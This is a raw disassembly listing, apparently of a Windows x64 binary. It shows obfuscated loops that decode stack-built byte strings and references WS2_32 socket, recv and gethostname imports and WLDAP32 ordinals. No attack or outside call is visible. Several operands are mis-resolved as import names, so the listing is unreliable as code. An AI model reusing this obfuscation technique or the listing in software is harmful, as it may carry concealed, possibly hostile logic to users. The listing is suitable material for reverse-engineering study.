mov byte [rbp + 0xdb6], 0x64
mov byte [rbp + 0xdb7], 0xf7
mov byte [rbp + 0xdb8], 0x5c
mov byte [rbp + 0xdb9], 0xf5
mov byte [rbp + 0xdba], 0x62
mov byte [rbp + 0xdbb], 0xf3
mov byte [rbp + 0xdbc], 0xaa
mov byte [rbp + 0xdbd], 0xf1
mov byte [rbp + 0xdbe], 0xa2
mov byte [rbp + 0xdbf], 0xff
mov byte [rbp + 0xdc0], 0xae
mov byte [rbp + 0xdc1], 0xfd
mov byte [rbp + 0xdc2], 0x57
mov byte [rbp + 0xdc3], 0xfb
mov byte [rbp + 0xdc4], 0x60
mov byte [rbp + 0xdc5], 0xf9
mov byte [rbp + 0xdc6], Ordinal_79
mov byte [rbp + 0xdc7], 0xe7
mov byte [rbp + 0xdc8], 0xb6
mov byte [rbp + 0xdc9], 0xe5
mov byte [rbp + 0xdca], 0x77
mov byte [rbp + 0xdcb], 0xe3
mov byte [rbp + 0xdcc], 0x7d
mov byte [rbp + 0xdcd], 0xe1
mov byte [rbp + 0xdce], 0x47
mov byte [rbp + 0xdcf], 0xef
mov byte [rbp + 0xdd0], 0xec
mov byte [rbp + 0xdd1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd2], xmm0
mov qword [rbp + 0xde2], rax
mov byte [rbp + 0xdea], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x1401f26f2
movzx r8d, byte [rbp + r9 + 0xd90]
mov r11, r8
cmp rdi, r9
ja 0x1401f26e9
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f1b8b
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x4a
jmp 0x1401f1bc5
je 0x1401f2662
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f25d5
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f259f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f2555
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f252c
cmp r10, r9
ja 0x1401f26e0
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x1401f1beb
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401f1dd2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f24e6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f24c6
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f24a3
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401f2480
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f2133
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f2112
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f20ec
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401f20c9
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401f20a8
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f2094
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f2071
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f205d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f203c
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401f2016
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401f1c2c
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401f26bd
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1401f2697
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f1e0c
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401f1de9
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1401f1dc3
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401f1ff5
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f1f9b
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401f1f4c
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f1f29
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401f1f08
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f1ef4
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401f1ed1
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401f1ebd
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401f1e9c
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401f1e76
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401f1e53
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f1e32
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f1c2c
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x1401f1c2c
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1c1f
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x1401f1bc5
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1b54
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401f2502
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401f254a
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f254d
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x1401f2571
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f25ae
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x1401f25c3
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
jmp 0x1401f21dd
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401f249c
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401f2680
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x1401f241b
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x1401f2504
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x1401f2428
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1401f2360
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x1401f1f6a
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
jmp 0x1401f215b
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f2680
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1401f249c
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401f21dd
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x1401f25c3
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401f25ae
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401f2571
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401f254d
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f254a
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x1401f2502
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401f219a
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x1401f2456
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401f227d
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x1401f1fbc
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f21c9
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f2680
cmp rdi, rcx
jne 0x1401f21f4
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f25f9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f221e
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f244c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f224a
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1401f254d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f215d
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f254a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f22ac
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f2504
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f22db
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f254d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f2306
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1401f25c0
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f2331
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x1401f25f9
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f1fbc
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x1401f2680
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f237d
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401f21b2
cmp rdi, rcx
jne 0x1401f23a3
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x1401f249c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f23cf
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401f25c0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f23ec
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_45
jmp 0x1401f2266
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f1f6a
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1401f2504
mov byte [rbp + r9 + 0xd90], bl
jmp 0x1401f268f
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xd90]
add bl, dl
add bl, r8b
jmp 0x1401f2573
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xd90]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401f25f9
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401f262b
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x1401f25c3
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401f254d
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xd90], r8b
jmp 0x1401f254a
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x1401f268f
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xd90], cl
jmp 0x1401f25c0
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f268f
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xd90], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xd90], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f2680
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xd90]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x1401f1b41
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1b3e
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x1401f1b2e
lea rdx, [rbp + 0x1600308]
jmp 0x1401f26f9
lea rdx, [rbp + 0x1026e22]
jmp 0x1401f26f9
lea rdx, [rbp + 0xd90]
lea rcx, [rbp + 0x500]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20e0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f272e
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x20e0]
call fcn.140174580
nop
lea rcx, [rbp + 0x20e0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x20e0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x670], Ordinal_60
mov byte [rbp + 0x671], Ordinal_143
mov byte [rbp + 0x672], 0x61
mov byte [rbp + 0x673], 0xf3
mov byte [rbp + 0x674], 0x5a
mov byte [rbp + 0x675], 0xf1
mov byte [rbp + 0x676], 0x62
mov byte [rbp + 0x677], 0xf7
mov byte [rbp + 0x678], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x679], 0xf5
mov byte [rbp + 0x67a], 0x5b
mov byte [rbp + 0x67b], 0xfb
mov byte [rbp + 0x67c], WSASetLastError
mov byte [rbp + 0x67d], 0xf9
mov byte [rbp + 0x67e], 0x5b
mov byte [rbp + 0x67f], 0xff
mov byte [rbp + 0x680], r15b
mov byte [rbp + 0x681], 0xfd
mov byte [rbp + 0x682], 0x59
mov byte [rbp + 0x683], 0xe3
mov byte [rbp + 0x684], Ordinal_79
mov byte [rbp + 0x685], 0xe1
mov byte [rbp + 0x686], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x687], 0xe7
mov byte [rbp + 0x688], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x689], 0xe5
mov byte [rbp + 0x68a], 0x7f
mov byte [rbp + 0x68b], 0xeb
mov byte [rbp + 0x68c], 0x7a
mov byte [rbp + 0x68d], 0xe9
mov byte [rbp + 0x68e], Ordinal_79
mov byte [rbp + 0x68f], 0xef
mov byte [rbp + 0x690], 0x7a
mov byte [rbp + 0x691], 0xed
mov byte [rbp + 0x692], 0x88
mov byte [rbp + 0x693], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x694], 0x84
mov byte [rbp + 0x695], Ordinal_211
mov byte [rbp + 0x696], Ordinal_217
mov byte [rbp + 0x697], Ordinal_217
xor eax, eax
mov qword [rbp + 0x698], rax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1401f341c
movzx r8d, byte [rbp + r9 + 0x670]
mov rdx, r8
cmp rdi, r9
ja 0x1401f3413
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f28ea
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x1401f292e
je 0x1401f3392
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f330a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f32dd
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f3292
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f3241
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401f340a
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401f2954
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401f2b69
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f3230
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f320d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f31e7
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f31c1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f31a3
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f2e94
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f2e73
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f2e4d
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401f2e2a
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401f2e06
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f2de3
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f2dc0
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f2dae
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401f2d8b
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401f2d77
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f29a2
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401f33e7
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401f33c4
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f2ba3
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401f2b80
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401f2b5a
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401f2d56
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401f2d35
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f2d11
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401f2ce6
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f29a2
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f2cd2
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401f2cb1
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f2c90
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f2c7c
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401f2c59
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401f2c33
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401f2c10
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f2bed
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401f2bc9
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401f29a2
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1401f29a2
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f2995
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x1401f292e
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f28b2
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f325d
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401f3287
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401f328a
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f32b0
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x1401f32d8
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401f31d0
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401f319c
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401f2da7
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401f3081
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x670], bl
jmp 0x1401f33bc
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f2f2a
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x1401f2ef2
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x1401f2eb7
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401f3081
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401f335d
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x1401f2fa0
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f32f8
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401f32d8
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f32ae
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401f328a
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f3287
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401f325d
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401f2f5e
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x1401f3175
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401f2fff
movabs rdx, 0x69c879203d5f79c6
